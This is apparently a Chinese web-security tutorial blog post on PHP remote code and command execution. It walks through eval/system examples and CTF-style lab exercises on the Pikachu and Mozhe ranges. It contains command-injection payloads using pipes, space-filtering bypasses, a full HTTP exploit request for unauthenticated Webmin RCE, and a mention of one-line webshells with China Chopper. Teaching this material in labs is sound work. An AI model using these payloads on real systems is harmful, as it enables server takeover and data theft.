WEB安全-RCE代码及命令执行漏洞


WEB安全-RCE代码及命令执行漏洞

  • 摘要
  • RCE概述
  • 远程代码执行
    • eval()
    • 案例
  • 远程命令执行
    • system()
    • shell_exec() 与 exec()
    • 案例
  • 靶场案例
    • 墨者靶场黑盒功能点命令执行-应用功能
    • 墨者靶场白盒代码及命令执行-代码分析
    • 墨者靶场黑盒层 RCE 漏洞检测-公开漏洞

摘要 在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
WEB安全-RCE代码及命令执行漏洞
文章图片

RCE概述 RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
eval() eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
案例 靶场:bikachu
if(isset($_POST['submit']) && $_POST['txt'] != null){if(@!eval($_POST['txt'])){$html.="你喜欢的字符还挺奇怪的!
"; } }

WEB安全-RCE代码及命令执行漏洞
文章图片

效果:
WEB安全-RCE代码及命令执行漏洞
文章图片

远程命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器,现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。
system() 执行外部程序,并且显示输出
$code=$_GET['x']; echo system($code)//x=ipconfigx=ver x=cd

shell_exec() 与 exec() php中shell_exec() 与 exec()函数的区别
案例 靶场:bikachu
ping 127.0.0.1
WEB安全-RCE代码及命令执行漏洞
文章图片

利用管道符|输出别的内容
cd是查看当前目录文件夹名
WEB安全-RCE代码及命令执行漏洞
文章图片

靶场案例 墨者靶场黑盒功能点命令执行-应用功能 靶场:命令注入执行分析
可执行ping命令
WEB安全-RCE代码及命令执行漏洞
文章图片

输入命令 127.0.0.1|ls
WEB安全-RCE代码及命令执行漏洞
文章图片

禁用本地js
WEB安全-RCE代码及命令执行漏洞
文章图片

输入 127.0.0.1|cat key_296172863019530.php
不回显,考虑绕过空格
linux绕过空格
cat flag.txt cat${ IFS}flag.txt cat$flag.txt

输入命令127.0.0.1|cat WEB安全-RCE代码及命令执行漏洞
文章图片

得到flag,成功!
墨者靶场白盒代码及命令执行-代码分析 Linux ls 命令
Linux ls(英文全拼:list files)命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。
Linux cat 命令
cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。
Linux tac 命令
tac命令就是将文件反向输出,刚好和cat输出相反。
Linux echo 命令
echo命令是一个内置在Bash中的shell,通常用于shell脚本中以显示消息或输出其他命令的结果。
靶场:PHP代码分析溯源
页面显示如下
WEB安全-RCE代码及命令执行漏洞
文章图片

将此php放入php运行下
WEB安全-RCE代码及命令执行漏洞
文章图片

可以知道,传递方式为request,参数为a
?a=ls

WEB安全-RCE代码及命令执行漏洞
文章图片

传递参数
?a=tac

WEB安全-RCE代码及命令执行漏洞
文章图片

得到flag,成功
墨者靶场黑盒层 RCE 漏洞检测-公开漏洞 靶场:Webmin未经身份验证的远程代码执行
WEB安全-RCE代码及命令执行漏洞
文章图片

搜索webmin,存在代码执行漏洞WEB安全-RCE代码及命令执行漏洞
文章图片

exp
POST /password_change.cgi HTTP/1.1 Host: 219.153.49.228:41273 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Accept-Encoding: gzip, deflate Accept: */* Connection: close Accept-Language: en Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: http://219.153.49.228:41273/password_change.cgi/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 55 cache-control: no-cacheuser=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2

修改对应的部分,进行发包
WEB安全-RCE代码及命令执行漏洞
文章图片

修改为ls /WEB安全-RCE代码及命令执行漏洞
文章图片

成功
WEB安全-RCE代码及命令执行漏洞
文章图片

一句话 Webshell 后门原理代码执行-拓展说明
将一句话木马

然后利用中国菜刀连接此脚本即可
【WEB安全-RCE代码及命令执行漏洞】WEB安全-RCE代码及命令执行漏洞
文章图片

WEB安全-RCE代码及命令执行漏洞
文章图片

    推荐阅读